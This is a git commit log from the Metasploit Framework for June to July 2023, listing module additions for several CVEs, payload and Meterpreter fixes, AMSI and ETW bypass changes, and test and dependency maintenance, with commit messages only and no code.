Christophe De La Fuente df4a03c79d Land #18082, Apache RocketMQ update config RCE (CVE-2023-33246) 2023-07-06 09:15:03 +02:00
Grant Willcox 3abcb3ebaa Explain ADMINID field more 2023-07-05 13:10:41 -05:00
Grant Willcox ce19ce5b72 Apply fixes from review 2023-07-05 12:24:51 -05:00
adfoster-r7 00aa2e63a0 Land #18166, Handle nil error when creating adapted payloads 2023-07-05 18:07:12 +01:00
Jack Heysel f1b5cd46f4 Apache RocketMQ update config RCE 2023-07-05 12:38:51 -04:00
Metasploit 83dc8e9012 automatic module_metadata_base.json update 2023-07-05 11:36:32 -05:00
Dean Welch d452f49f09 Handle nil error when creating adapted payloads 2023-07-05 17:28:05 +01:00
Christophe De La Fuente ae48236d07 Land #18122, rocketmq version lib 2023-07-05 18:11:25 +02:00
Grant Willcox da6cdd1d5b Fix up datastore setting code 2023-07-05 10:55:14 -05:00
jheysel-r7 53a761a13d Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-05 11:13:08 -04:00
h00die f77e7db637 woocommerce payments auth bypass 2023-07-04 13:09:27 -04:00
h00die 8d686e5a28 woocommerce payments auth bypass 2023-07-04 13:06:27 -04:00
h00die 375a315b3d woocommerce payments auth bypass 2023-07-04 13:05:07 -04:00
Grant Willcox d97c0fc8f7 Land #18153, Remove Ruby 2.7 from Github actions
Ruby 2.7 has been EOL'd for 3 months now and is no longer supported.
2023-06-30 15:38:16 -05:00
adfoster-r7 d968d92e53 Remove Ruby 2.7 from Github actions 2023-06-30 14:10:07 +01:00
cgranleese-r7 badb710940 Land #18152, Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 14:07:07 +01:00
adfoster-r7 fa0e53775f Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 10:22:13 +01:00
Metasploit dfbd14ea5b automatic module_metadata_base.json update 2023-06-29 17:43:57 -05:00
Grant Willcox 859ff288fc Land #18147, Add Ruby 3.3.0-preview1 to test suite 2023-06-29 17:20:24 -05:00
adfoster-r7 085943bd78 Add Ruby 3.3.0-preview1 to test suite 2023-06-29 22:53:17 +01:00
Jack Heysel cc1b7db773 Method documentation comments 2023-06-29 15:52:03 -04:00
jheysel-r7 35f5b19512 Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-29 15:23:27 -04:00
Metasploit 1426a5c12e Bump version of framework to 6.3.24 2023-06-29 12:18:27 -05:00
Rory McKinley 1dff3e5e26 Copy blog post about capture plugin to docs 2023-06-29 14:58:37 +02:00
dwelch-r7 028660384a Land #18146, Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 13:27:57 +01:00
adfoster-r7 50c675cc90 Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 00:00:48 +01:00
adfoster-r7 0c8dff1ab0 Land #17901, Add lazy loading for payloads on startup 2023-06-28 23:12:12 +01:00
Metasploit 0aa0bbadd6 automatic module_metadata_base.json update 2023-06-28 13:06:39 -05:00
Spencer McIntyre 740fe5f6c9 Land #18133, Dotnet signature fix
The signature of the .NET executable will now be automatically
determined based on the .NET executable and not the parameters provided
to the module.
2023-06-28 13:50:26 -04:00
Rory McKinley a967815397 Remove reliance on deprecated print_* methods 2023-06-28 17:56:57 +02:00
Rory McKinley 795fae2b81 Tweak help output to provide more detail 2023-06-28 16:52:07 +02:00
Ashley Donaldson 6772740f86 Fix bug in HostingCLR relating to the first argument passed to a dotnet assembly. 2023-06-28 09:24:33 +10:00
Ashley Donaldson afe359281c Remove manual signature handling, and figure it out for the user. 2023-06-28 09:22:01 +10:00
jheysel-r7 ce2629d4e1 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:36 -04:00
jheysel-r7 3e4b62a240 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:13 -04:00
jheysel-r7 f86f9c0440 Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-27 16:39:16 -04:00
dwelch-r7 36e0d8f915 Land #18121, Add proper SubjectAltName parsing 2023-06-27 16:54:33 +01:00
Metasploit 3e999a1dc5 automatic module_metadata_base.json update 2023-06-27 08:48:05 -05:00
Spencer McIntyre 67f7a33d77 Land #18114, .NET assembly execution enhancements
Allow .NET assembly execution within the meterpreter process
2023-06-27 09:32:43 -04:00
Spencer McIntyre 767b22f7ef Recompile the DLL 2023-06-27 09:31:24 -04:00
Spencer McIntyre df0f7de098 Fix an ARGUMENT handling error
`datastore['ARGUMENT']` can be `nil` when it's been unset. Avoid an
error when appending it to cln_params by checking that it's present.
2023-06-27 09:29:59 -04:00
Ashley Donaldson 0d0906840e Fix memory protection bug 2023-06-27 09:59:52 +10:00
Metasploit fb6ecdd2ab automatic module_metadata_base.json update 2023-06-26 16:46:43 -05:00
Spencer McIntyre 7da9ea07aa Land #17796, AWS EC2 enum: implement reporting 2023-06-26 17:31:38 -04:00
Spencer McIntyre fd89ac6893 Fix REGION related issues
Fixes hanging when REGION is invalid. Fixes a stack trace when REGION is
an empty string.
2023-06-26 17:18:13 -04:00
Joshua Rogers 1e7af0457a Update jenkins_gather.md
Change Windows default to C:\ProgramData\Jenkins\.jenkins.
2023-06-26 21:29:27 +02:00
Joshua Rogers cac515b8db Update jenkins_gather.rb
Change the default Windows location to C:\ProgramData\Jenkins\.jenkins\.
2023-06-26 21:27:59 +02:00
Jack Heysel 46629ca1d2 responded to comments 2023-06-26 14:01:12 -04:00
Grant Willcox def6d644cc Land #18141, Remove flakey redundant test 2023-06-26 12:36:32 -05:00
Dean Welch df5b26ea3a Remove flaky redundant test 2023-06-26 16:32:41 +01:00
Ashley Donaldson 65a4dd3c39 Change ETW bypass method, so that CLR memory can be freed.
Fixed a crash and broken logic in hosting clr code.
2023-06-26 09:54:00 +10:00
Ashley Donaldson 624643be4a Catch errors and give meaningful error messages 2023-06-25 22:12:22 +10:00
RageLtMan 60523c0f9b Apply @smcintyre-r7's logic fix
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-06-23 18:48:21 -04:00
Metasploit 0f593d881c automatic module_metadata_base.json update 2023-06-23 16:17:47 -05:00
Jack Heysel bf1e6bddd1 Land #18134, Add exploit for CVE-2023-25194
This exploits a Java deserialization vulnerbility
in Apache Druid which arises from a JNDI injection
within Apache Kafka clients.
2023-06-23 16:52:04 -04:00
Grant Willcox da34476a91 Land #17959, rescue login scanner attempts 2023-06-23 14:49:26 -05:00
Grant Willcox f48dadff62 Land #18139, Fix windows python meterpreter getuid intermittent crash 2023-06-23 12:02:37 -05:00
adfoster-r7 7aa1dafc1f Fix windows python meterpreter getuid intermittent crash 2023-06-23 15:30:02 +01:00
Metasploit f641d64f2f automatic module_metadata_base.json update 2023-06-23 05:07:35 -05:00
dwelch-r7 d68eb84334 Land #18065, Updates jenkins_gather module to work with newer version of Jenkins 2023-06-23 10:44:06 +01:00
cgranleese-r7 9176d0d3e0 Updates jenkins_gather to work with newer version of Jenkins 2023-06-23 10:02:03 +01:00
Heyder Andrade b026b38851 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-06-23 09:36:50 +02:00
Ashley Donaldson 977f8732c6 Fix cleanup code.
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
2023-06-23 14:01:45 +10:00
Ashley Donaldson a7ce4c7fa8 Free memory from the C++ side, rather than the Ruby side. 2023-06-23 09:57:53 +10:00
Metasploit 0f65368866 Bump version of framework to 6.3.23 2023-06-22 15:51:18 -05:00
Metasploit 5157897412 automatic module_metadata_base.json update 2023-06-22 13:39:14 -05:00
Spencer McIntyre b5e028b47c Land #18100, Add MOVEit CVE-2023-34362 2023-06-22 14:23:44 -04:00
Spencer McIntyre dfd450561e Tweak some messages and cleanup markdown table 2023-06-22 14:23:25 -04:00
bwatters a05bde217c Ensure any users we create are deleted 2023-06-22 12:18:07 -05:00
Jack Heysel 4c73067dfe Land #18104, fix falsely caused empty file reads
This issue was happening frequently with the java metepreter.
The issue has been fixed and tested with test/file post module.
2023-06-22 13:07:19 -04:00
Redwaysecurity.com 77bb6759a6 Review suggestions 2023-06-22 18:12:13 +02:00
bwatters 5f667e1d79 Address code review 2023-06-22 10:22:43 -05:00
bwatters a2c2a9193f Update error catching logic 2023-06-22 08:27:44 -05:00
Metasploit 5b9f22181a automatic module_metadata_base.json update 2023-06-22 08:18:59 -05:00
dwelch-r7 e298788a28 Land #18049, Update jenkins login scanner to work with newer versions 2023-06-22 14:04:24 +01:00
Redwaysecurity.com e2fc3c5eff Fixed documentation offenses 2023-06-22 14:48:16 +02:00
Redwaysecurity.com a8332e6064 Added exploit for CVE-2023-25194 2023-06-22 14:17:32 +02:00
cgranleese-r7 ace4c45c5d Land #18118, Update UA strings for June 2023 2023-06-22 12:31:09 +01:00
Ashley Donaldson 461240639c Check PID validity before getting its bitness 2023-06-22 16:05:48 +10:00
Jack Heysel 64b441be2a Rspec tests, get_broker_port addition 2023-06-22 01:29:33 -04:00
Metasploit 83e65b0ea3 automatic module_metadata_base.json update 2023-06-21 18:17:35 -05:00
Jack Heysel 969b5cd044 Land #18132, this PR reverts #17942
The AMSI bypass improvements in #17942 for new versions of windows
broke psexec. This PR reverts the issue.
2023-06-21 18:49:47 -04:00
Jeffrey Martin 1b562dd02b Revert "Improve AMSI bypass on new Windows"
This reverts commit f97ab80224, reversing
changes made to c8f942cc03.

This change impacted the default `psexec` powershell target and needs further
testing to be reintroduced.
2023-06-21 16:35:41 -05:00
bwatters 2adea08f67 Add documentation & code cleanup 2023-06-21 15:41:50 -05:00
Metasploit 889407354a automatic module_metadata_base.json update 2023-06-21 13:57:04 -05:00
Spencer McIntyre 7cff25e639 Land #18117, Consider Windows 10 Revision
Consider Windows 10 Revision number in version module
2023-06-21 14:32:59 -04:00
bwatters 52907ac794 Add space limitation 2023-06-21 12:56:59 -05:00
bwatters 10c6e6328f Add user cleanup and update error handling 2023-06-21 12:00:34 -05:00
bwatters 9d16b0043b Add check method 2023-06-21 11:26:04 -05:00
Spencer McIntyre ea1641df85 Land #17576, Update tag handling
Update add_host_tag and delete_host_tag to properly handle tagging multiple hosts and then deleting these tags
2023-06-21 11:49:11 -04:00
Grant Willcox cd00585e12 Support properly handling tagging multiple hosts and then deleting those tags.
This involves updating add_host_tag and delete_host_tag and performing some refactoring.
2023-06-21 09:31:55 -05:00
bwatters 957339b3c0 Simplify output 2023-06-21 08:34:02 -05:00
cgranleese-r7 0609d246f3 adds more future proofing to implementation 2023-06-21 14:19:24 +01:00
Ashley Donaldson 6e438d338e Modify execute_dotnet_assembly to run in existing processes (including our own process) and receive output. 2023-06-21 12:04:09 +10:00
bwatters d63c14dc17 Ugly, but working 2023-06-20 20:06:57 -05:00
Jack Heysel 40bd729957 Land #18129, Update metasploit-payloads gem
This PR bumps the metasploit-payloads gem to
version 2.0.143
2023-06-20 17:07:52 -04:00
Spencer McIntyre 5d96b23d19 Update metasploit-payloads gem to 2.0.143
Includes changes from:
* rapid7/metasploit-payloads#662
* rapid7/metasploit-payloads#660
2023-06-20 15:14:18 -04:00
cgranleese-r7 5611780d81 Land #18127, Add railgun reverse lookup tests for osx and linux 2023-06-20 14:27:29 +01:00
cgranleese-r7 b1d437dfe6 Land #18126, Add additional logging to post test file 2023-06-20 14:26:14 +01:00
Jack Heysel 965a758b48 Land #18124, Fixes the broken test/extapi module. 2023-06-19 18:42:13 -04:00
adfoster-r7 c535d8081f Add railgun reverse lookup tests for osx and linux 2023-06-19 16:30:26 +01:00
adfoster-r7 2ac257bcef Add additional logging to post test file 2023-06-19 16:11:43 +01:00
adfoster-r7 f9b5ea75bc Fix broken post test extapi tests 2023-06-19 14:11:29 +01:00
usiegl00 1c5b88c59f Update CachedSize for Mettle 2023-06-19 12:23:40 +02:00
usiegl00 7e3e30f9d0 Bump Mettle Version 2023-06-19 11:56:52 +02:00
usiegl00 22101f15cc Update Aarch64 Payloads for RuboCop
Use msftidy to fix the rubocop errors.
2023-06-19 11:20:23 +02:00
usiegl00 b8068bc781 Cleanup for Sonoma Dyld
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 0415565396 Fix for Ventura Dyld
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 44762f18e8 Increase Stack Space for Loader
This increases the stack stack space mmap'd for the 2nd stage loader and
should fix the invalid stack memory access crash on the staged payload.
2023-06-19 10:57:37 +02:00
usiegl00 e70bdb028a Basic MachO Signing
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
2023-06-19 10:57:37 +02:00
usiegl00 658c87996d Hotwire MachO Signing
This commit hotwires in executable signing to some of the aarch64 osx
payloads in order to ensure that they are fully functional.
2023-06-19 10:57:37 +02:00
usiegl00 8a5442f7f0 Fix AARCH64 MachO Generation
This updates the exe util to properly generate stageless aarch64 macho
payloads. I've also added comments on how to assemble the aarch64
stages.
2023-06-19 10:57:37 +02:00
usiegl00 8c4c260911 Mettle now supports aarch64-apple-darwin
This bumps the metasploit_payloads-mettle version to enable the new
target triple.
2023-06-19 10:57:37 +02:00
usiegl00 5f8767f4cf M1ssion Dyld Mettle: Aarch64 Payloads
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
2023-06-19 10:57:37 +02:00
Ashley Donaldson 2a3cac051f Suggestion from code review 2023-06-19 07:53:46 +10:00
h00die e49e70ce93 update rocketmq tests 2023-06-16 16:26:35 -04:00
h00die 67225650de convert _ to . 2023-06-16 16:13:36 -04:00
h00die 4f661ff230 rocketmq version lib 2023-06-16 15:36:06 -04:00
Spencer McIntyre 0ca978fe9d Return arrays of values where applicable
Return arrays of values where applicable and update method docs.
2023-06-16 12:19:11 -04:00
Spencer McIntyre 44ffafcf62 Add more unit tests 2023-06-16 11:48:43 -04:00
Spencer McIntyre 2d800be5b1 Read the ORAddress definition
Note that there's a known issue that needs the changes from
sdaubert/rasn1#37 to work.
2023-06-16 11:48:36 -04:00
dwelch-r7 9ef9f98894 Land #18119, Add support for only running user specified test names 2023-06-16 13:27:31 +01:00
Dean Welch 8527eea15d Add lazy loading for payloads 2023-06-16 12:04:48 +00:00
adfoster-r7 92c15f8a6a Add support for only running user specified test names 2023-06-16 11:00:38 +01:00
Ashley Donaldson 5832685f5e Update UA strings for June 2023 2023-06-16 11:32:37 +10:00
Ashley Donaldson 8b91d729c4 Update tests 2023-06-16 11:29:31 +10:00
Ashley Donaldson 381d291da9 Use revision in MSF modules 2023-06-16 10:07:35 +10:00
Ashley Donaldson ddbd24554d Take into account Windows 10 revision number 2023-06-16 06:50:39 +10:00
Spencer McIntyre 16ef8c4eaa Add a basic spec for the x509 SAN definition 2023-06-15 15:57:10 -04:00
Spencer McIntyre 9e8a8d7c25 Remove our BMPString definition
It was added in https://github.com/sdaubert/rasn1/pull/33 and is present
in RASN 0.12.1.
2023-06-15 15:57:10 -04:00
Spencer McIntyre 0555b4ada0 Add SAN parsing with a proper ASN.1 definition
The ORAddress field is left out because it's significantly more
complicated than the rest and doesn't appear to be necessary at this
time.
2023-06-15 15:57:02 -04:00
Spencer McIntyre 39c9355715 Add additional string primitives 2023-06-15 15:51:14 -04:00
adfoster-r7 50832bef97 Land #18094, Fix an edge case in .to_win32pe 2023-06-15 20:39:07 +01:00
space-r7 9776a6eb4a Land #18078, add SID support for icpr_cert
pulls in latest changes
2023-06-15 13:39:31 -05:00
space-r7 a31a3513c1 resolve docs conflict 2023-06-15 13:36:21 -05:00
space-r7 5b77805d68 Land #18078, add support for SID in icpr_cert 2023-06-15 13:17:09 -05:00
Metasploit ea34db64af Bump version of framework to 6.3.22 2023-06-15 12:15:30 -05:00
Jack Heysel f014033321 Land #18054, Fix info command IP address issue
This PR fixes the issue where an ArgumentError was thrown
when running the info command when using a fetch payload
2023-06-15 11:51:16 -04:00
Metasploit c168890902 automatic module_metadata_base.json update 2023-06-15 09:28:15 -05:00
bwatters 03d59ba4e7 Land # 18084, Add x86 Linux Fetch Payloads
Merge branch 'land-18084' into upstream-master
2023-06-15 09:04:22 -05:00
bwatters 63abeb331d Remove default value 2023-06-15 08:46:45 -05:00
bwatters d5a986a4bc Fix copy/pasta 2023-06-15 08:34:30 -05:00
dwelch-r7 cee72a81e3 Land #18110, Add namespaced test module logging 2023-06-15 14:30:02 +01:00
dwelch-r7 bc61bbaf7f Land #18109, Update test post modules to always have a clean writable file system directory 2023-06-15 14:27:13 +01:00
dwelch-r7 62fd3ec536 Land #18108, Fix flakey post test services module 2023-06-15 13:45:43 +01:00
dwelch-r7 3010b565ce Land #18107, Extract rspec wait for expect helper 2023-06-15 13:42:13 +01:00
dwelch-r7 8da6f1efb9 Land #18105, Fix time command bug when running complex commands 2023-06-15 13:41:16 +01:00
cgranleese-r7 5afba17a79 Land #18115, Update unknown windows errors on python meterpreter to include original error code 2023-06-15 12:52:13 +01:00
cgranleese-r7 c85b017c9e Land #18106, Update SessionTLVLogging to no longer truncate useful values 2023-06-15 12:50:33 +01:00
adfoster-r7 8f11798f5f Update unknown windows errors on python meterpreter to include hex error code 2023-06-15 11:56:32 +01:00
cgranleese-r7 95d05e0e9c Land #18111, Fix initialised constant error when meterpreter registry key reads timeout 2023-06-15 10:23:29 +01:00
adfoster-r7 552b76aa8f Initialize to an empty string 2023-06-15 01:44:42 +01:00
Metasploit e7bbd34e0d automatic module_metadata_base.json update 2023-06-14 17:53:56 -05:00
adfoster-r7 51dc30909a Land #17670, add module to exploit CVE-2019-16328 2023-06-14 23:30:33 +01:00
adfoster-r7 c93adfb697 Land #17781, adds support for module writers to supply include_dir iquote options when compiling mingw 2023-06-14 22:47:10 +01:00
Jack Heysel 2632d33583 Land #18112, fix symlink test bug
This PR fixes a symlink test bug when running
a python meterpreter on windows.
2023-06-14 16:42:53 -04:00
Spencer McIntyre 1823801510 Add some tests for NtdsCaSecurityExt 2023-06-14 16:18:10 -04:00
Spencer McIntyre ae4faca1ba Update module docs to discuss KB5014754 changes 2023-06-14 16:18:04 -04:00
Spencer McIntyre 6988227ee4 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-14 16:18:04 -04:00
Spencer McIntyre 3ee02a0e41 Add the ALT_SID datastore option 2023-06-14 16:17:58 -04:00
adfoster-r7 2a66987e39 Fix symlink test bug when running python meterpreter on windows 2023-06-14 20:12:05 +01:00
adfoster-r7 bec47e8b59 Fix unitialized constant error when meterpreter registry key reads timeout 2023-06-14 19:50:28 +01:00
adfoster-r7 75d74d2e3c Add namespaced test module logging 2023-06-14 19:35:54 +01:00
adfoster-r7 dc5a42bd7d Update test post modules to always have a clean file system directory 2023-06-14 19:27:19 +01:00
adfoster-r7 5b18475457 Extract rspec wait for expect helper 2023-06-14 19:10:05 +01:00
adfoster-r7 95f30d1f3f Fix flakey post test services module 2023-06-14 18:56:20 +01:00
Jack Heysel 6f297a8619 Land #18102, bump metasploit-payloads 2.0.140
This metasploit-payloads bump is a fix for false negatives
on files not existing on windows python meterpreter
2023-06-14 13:51:27 -04:00
adfoster-r7 69b7635f0f Update SessionTLVLogging to no longer truncate useful values 2023-06-14 18:39:58 +01:00
adfoster-r7 2d87447db7 Fix time command bug when running complex commands 2023-06-14 18:01:47 +01:00
adfoster-r7 fb6bb4031c Fix issue that falsely caused empty file reads on meterpreter 2023-06-14 17:50:54 +01:00
Jeffrey Martin d3fa7608db Land #18103, lock nokogiri due to compile issue 2023-06-14 11:40:08 -05:00
Jeffrey Martin ceb85e08c9 update to latest nokogiri 1.14.x 2023-06-14 11:30:25 -05:00
Jeffrey Martin b2d0cdaa28 lock nokogiri due to compile issue 2023-06-14 11:21:49 -05:00
adfoster-r7 00d1f03b8a Fix false negatives on files not existing on windows python meterpreter 2023-06-14 17:09:06 +01:00
cgranleese-r7 966dec5b03 Land #18101, Fix macOS route command when mac addresses are split by dots 2023-06-14 17:01:32 +01:00
adfoster-r7 793e0887ff Fix osx route command when mac addresses are split by dots 2023-06-14 16:43:51 +01:00
bwatters f5f61ca508 Start of MOVEit port 2023-06-14 10:04:07 -05:00
cgranleese-r7 9187b96756 Land #18099, Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 15:40:10 +01:00
adfoster-r7 b9f260d0f7 Land #18089, Add Masm support 2023-06-14 13:51:41 +01:00
dwelch-r7 de07c2eae2 Land #18098, Fix rex-text crashes when running ruby 3.3 2023-06-14 13:26:02 +01:00
Jeffrey Martin 41429aec97 Land #18080, Weekly dependency updates for Gemfile.lock 2023-06-14 07:16:48 -05:00
adfoster-r7 d6a50acf83 Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 13:10:46 +01:00
dwelch-r7 1b35a9f916 Land #18051, Add appropriate skips to post test modules 2023-06-14 13:06:37 +01:00
adfoster-r7 f30bc86c8a Fix rex-text crashes when running ruby 3.3 2023-06-14 13:04:20 +01:00
cgranleese-r7 fe737b55b9 Land #18097, Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:49:10 +01:00
adfoster-r7 d414eea087 Add appropriate skips to post test modules 2023-06-14 12:37:02 +01:00
adfoster-r7 21b2e3a597 Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:28:15 +01:00
dwelch-r7 68c48ef984 Land #18050, Add module for running all post test modules 2023-06-14 12:14:57 +01:00
Metasploit 968a151de9 automatic module_metadata_base.json update 2023-06-13 17:37:51 -05:00
Jack Heysel c98cc00de9 Land #18075, RocketMQ version scanner 2023-06-13 18:15:34 -04:00
Jeffrey Martin efd49f07b0 update migration calls in spec
As of Rails 7.0.5 the `migrations_paths` are called once in spec run
2023-06-13 17:15:19 -05:00
space-r7 7af22bfd41 Land #18077, add Symmetricom unauth cmd injection 2023-06-13 17:07:16 -05:00
space-r7 5535401345 add exploit rank 2023-06-13 17:05:30 -05:00
bwatters cabae172f9 Remove superfluous setup_handler 2023-06-13 16:03:55 -05:00
bwatters 548d7e76a8 Fix accidental diff 2023-06-13 16:01:58 -05:00
Metasploit 9f276bd727 automatic module_metadata_base.json update 2023-06-13 15:57:29 -05:00
bwatters 38f542174d Land #17336, A more robust implementation for Windows version comparisons
Merge branch 'land-17336' into upstream-master
2023-06-13 15:38:56 -05:00
Steve Campbell 37bc9cd5a4 Update symmetricom_syncserver_rce.rb
Updated info to add allowed SRVPORT and LPORT, and fixed issue with srvport variable not used.
2023-06-13 16:22:08 -04:00
Metasploit 401820ddfb automatic module_metadata_base.json update 2023-06-13 14:50:28 -05:00
space-r7 091ee36b44 Land #18086, add TerraMaster cmd injection 2023-06-13 14:34:42 -05:00
space-r7 cbf7109c51 add rubocop fixes and some metadata 2023-06-13 13:44:23 -05:00
space-r7 0d85c9e380 add module documentation 2023-06-13 13:14:51 -05:00
Spencer McIntyre c41483250f Fix an edge case in .to_win32pe
When the entry point is after the payload, there woud occassionally be
cases where `poff` and `eidx` to be invalid, causing `entry` to be
truncated. `poff` should never be negative and `eidx` should reserve the
256 bytes that `entry` may occupy.
2023-06-13 13:41:47 -04:00
bwatters 1af9660296 Add routable address type 2023-06-13 10:29:15 -05:00
bwatters 9e773b3f35 Fix issue with info command and IP address check 2023-06-13 10:16:07 -05:00
SinSinology fd5e4dfc39 VMWare vRealize Network Insight pre-authenticated RCE CVE-2023-20887
Technical details at
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
2023-06-13 15:16:11 +01:00
Metasploit 09ae3828d0 automatic module_metadata_base.json update 2023-06-13 09:02:42 -05:00
Jeffrey Martin fa33052cf8 Land #18090, Update the exported keytab table entries to sort by db insert id 2023-06-13 08:13:25 -05:00
Professor Araout 1fbfc8e4d4 Update lib/metasploit/framework/compiler/mingw.rb
Error in github review, replaced line 39 instead of 37-38-39   -> Fixed

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 15:04:00 +02:00
Professor Araout 0b320f6209 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:22 +02:00
Professor Araout 9d315af25e Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @ARaout

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:59:15 +02:00
Professor Araout cb105d8978 Update lib/metasploit/framework/compiler/mingw.rb
Review made by @adfoster-r7 and tested by @araout 

Works perfect

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-13 14:58:36 +02:00
adfoster-r7 7fe6b8f481 Update the exported keytab table entries to sort by db insert id 2023-06-13 09:14:06 +01:00
Ashley Donaldson 8d1e7a386c Rubocop and code review suggestions 2023-06-13 15:58:30 +10:00
shellchocolat 0761f8f729 [+] add masm output support 2023-06-13 06:55:16 +02:00
Metasploit 96ba121973 automatic module_metadata_base.json update 2023-06-12 18:17:41 -05:00
Jack Heysel f97ab80224 Land #17942, Improve AMSI bypass on new Windows
The script generated by the web_delivery module is blocked
by the Antimalware Scan Interface (AMSI) on newer versions
of windows. This PR allows the script to bypass AMSI.
2023-06-12 18:50:48 -04:00
Jack Heysel 14dc102e31 Bump rex-powershell to 0.1.98 2023-06-12 16:34:28 -04:00
Steve Campbell ed516faa93 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added link to CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:34:24 -04:00
Steve Campbell 5b73c8fea1 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Added CVE

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:33:57 -04:00
Steve Campbell 4e4d09862e Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Fixed misspelling

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:32:12 -04:00
Steve Campbell bc2fb0c919 Update modules/exploits/linux/http/symmetricom_syncserver_rce.rb
Updated heading

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-06-12 16:31:21 -04:00
h00die-gr3y 4479d94658 Updates based on review comments from space-r7 and jvoisin 2023-06-12 19:28:08 +00:00
adfoster-r7 c8f942cc03 Land #17955, Golf a bit the php payload 2023-06-12 16:31:00 +01:00
h00die-gr3y 7cd3854208 Removed Webshell upload and updated documentation 2023-06-12 13:58:59 +00:00
Spencer McIntyre 834ad18d28 Land #18069, Handle LDAP UnbindRequest
Remote::JndiInjection: handle LDAP UnbindRequest
2023-06-12 09:53:38 -04:00
RageLtMan 668b72a4ca Rex::Proto::LDAP::Server handle LDAP UnbindRequest 2023-06-10 09:42:58 -04:00
RageLtMan ead8a99d79 AWS EC2 Enum: handle limits properly
Get all instances if limit is not set, improve output slightly.

Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
2023-06-10 08:45:25 -04:00
Jeffrey Martin c33fe50bbb remove overzealous error handler
Update the error handling around the EC2 sdk to follow official documentation:
https://github.com/aws/aws-sdk-ruby/blob/a350a9cf9946aadd1292df6936aecd706c6ddd85/gems/aws-sdk-ec2/lib/aws-sdk-ec2.rb#L68-L72
2023-06-10 08:45:25 -04:00
Jeffrey Martin b1477a8616 add new notes metadata 2023-06-10 08:45:25 -04:00
RageLtMan afdcf76ef6 AWS EC2 enum: rubocop pass 2023-06-10 08:45:25 -04:00
RageLtMan a04b54486f AWS EC2 enum: parse tags 2023-06-10 08:45:25 -04:00
RageLtMan 00eed69b92 AWS EC2 enum: implement reporting 2023-06-10 08:45:25 -04:00
h00die-gr3y db8a49cc99 Updated documentation 2023-06-10 12:14:05 +00:00
h00die-gr3y 417c9fa591 init commit module and documentation 2023-06-10 09:42:32 +00:00
Metasploit 43003eefa8 automatic module_metadata_base.json update 2023-06-09 18:11:26 -05:00
space-r7 c9af514be4 Land #18063, add TerraMaster webshell upload 2023-06-09 17:55:32 -05:00
Spencer McIntyre c579c43b72 Update payloads_spec.rb for x86 fetch 2023-06-09 16:50:28 -04:00
Spencer McIntyre 0ba65b7393 Add the x86 fetch payloads 2023-06-09 16:47:45 -04:00
Metasploit fce6450a95 automatic module_metadata_base.json update 2023-06-09 14:18:50 -05:00
Spencer McIntyre 4c817ce1de Land #17946, CVE-2023-21839 - Oracle Weblogic RCE
CVE-2023-21839 - Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization
2023-06-09 14:55:43 -04:00
Grant Willcox 50dfde1f7a Land #18083, Update metasploit-payloads gem to 2.0.136 2023-06-09 12:47:37 -05:00
Metasploit 5dba72cf5e automatic module_metadata_base.json update 2023-06-09 12:46:16 -05:00
space-r7 c8609d7983 Land #18070, add TerraMaster chained exp module 2023-06-09 12:29:47 -05:00
Grant Willcox 694c1006e4 Add more IPv6 support in to the module 2023-06-09 12:24:35 -05:00
Spencer McIntyre eab324714d Update metasploit-payloads gem to 2.0.136
Includes changes from:
* rapid7/metasploit-payloads#656
2023-06-09 12:57:02 -04:00
adfoster-r7 7ab610c7bd Land #18058, Improve code navigation docs and add debugging page 2023-06-09 15:59:05 +01:00
